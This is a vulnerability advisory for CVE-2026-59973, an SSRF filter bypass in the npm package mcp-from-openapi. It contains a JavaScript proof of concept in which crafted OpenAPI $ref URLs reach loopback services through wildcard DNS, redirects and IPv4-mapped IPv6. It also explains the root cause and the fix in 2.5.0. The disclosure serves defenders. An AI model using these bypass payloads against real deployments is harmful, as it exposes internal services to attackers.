high · 8.5CVE-2026-59973Sep 11, 2026

CVE-2026-59973: mcp-from-openapi OpenAPI $ref SSRF Filter Bypass

Rohit Hatagale
AI Security Researcher, SecureLayer7

The SSRF hostname denylist added in mcp-from-openapi 2.3.0 can be bypassed using DNS names that resolve to loopback, HTTP redirects, or IPv4-mapped IPv6 addresses, letting an attacker reach internal…

Packagemcp-from-openapi
Ecosystemnpm
Affected>= 2.3.0, < 2.5.0
Fixed in2.5.0
CVE-2026-59973: mcp-from-openapi OpenAPI $ref SSRF Filter Bypass

The problem

mcp-from-openapi 2.3.0 patched CVE-2026-39885 by checking the parsed hostname string of an external $ref URL against a denylist of local and private addresses. The guard does not resolve DNS before deciding, does not revalidate redirect targets, and does not normalize IPv4-mapped IPv6 forms.

Any attacker who can cause a FrontMCP deployment to load an untrusted OpenAPI spec can embed a crafted external $ref to trigger backend-origin requests to loopback or private services during tool generation. This affects hosted or multi-user deployments where OpenAPI adapter configuration is not strictly admin-only.

Proof of concept

A working proof-of-concept for CVE-2026-59973 in mcp-from-openapi, with the exact payload below.

javascript
// Craft an OpenAPI spec with an external $ref using one of these bypass URLs:
// 1. DNS name resolving to 127.0.0.1 (nip.io wildcard DNS)
const spec_dns = {
  openapi: "3.0.0",
  info: { title: "Bypass", version: "1.0" },
  paths: {
    "/probe": {
      get: {
        operationId: "probe",
        summary: "probe",
        responses: {
          "200": {
            description: "OK",
            content: {
              "application/json": {
                schema: { "$ref": "http://127.0.0.1.nip.io:PORT/schema.json" }
              }
            }
          }
        }
      }
    }
  }
};

// 2. Redirect from allowed DNS host to 127.0.0.1
// $ref: "http://127.0.0.1.nip.io:PORT/redirect"
// (redirect endpoint returns 302 -> http://127.0.0.1:PORT/schema.json)

// 3. IPv4-mapped IPv6 loopback (dotted form)
// $ref: "http://[::ffff:127.0.0.1]:PORT/schema.json"

// 4. IPv4-mapped IPv6 loopback (hex form)
// $ref: "http://[::ffff:7f00:1]:PORT/schema.json"

// Load into mcp-from-openapi 2.3.0 -- all four hit the loopback canary:
const { OpenAPIToolGenerator } = require("mcp-from-openapi");
const gen = new OpenAPIToolGenerator(spec_dns, { validate: false });
await gen.initialize(); // backend makes GET to 127.0.0.1:PORT/schema.json

The root cause is a TOCTOU-style weakness in the hostname guard: it checks the URL hostname string as typed, but Node's HTTP client resolves it later via DNS. A name like 127.0.0.1.nip.io is not a blocked literal, so it passes the guard and resolves to 127.0.0.1 at connect time.

The same gap applies to redirects: the first host passes the guard, the HTTP response issues a 302 to http://127.0.0.1/..., and the client follows without re-checking. IPv4-mapped IPv6 forms (::ffff:127.0.0.1, ::ffff:7f00:1) are structurally equivalent to loopback but were never normalized before the range check.

The fix in 2.5.0 resolves hostnames to IPs before making the allow/deny decision, pins the validated IP to the actual socket connection via a custom dispatcher, normalizes IPv4-mapped IPv6 to its IPv4 form before range checks, and revalidates every redirect target before following it.

CWE-918.

The fix

Upgrade mcp-from-openapi to 2.5.0 or later. If you use FrontMCP, upgrade frontmcp and @frontmcp/adapters to 1.2.1+ with the updated dependency. As a short-term workaround, set refResolution.allowedProtocols: [] in your OpenAPI adapter options to disable all external $ref resolution, or restrict allowedHosts to an explicit allowlist.

Do not rely on hostname string denylist checks alone for SSRF prevention.

Reported by TharVid.

References: [1][2]

Related research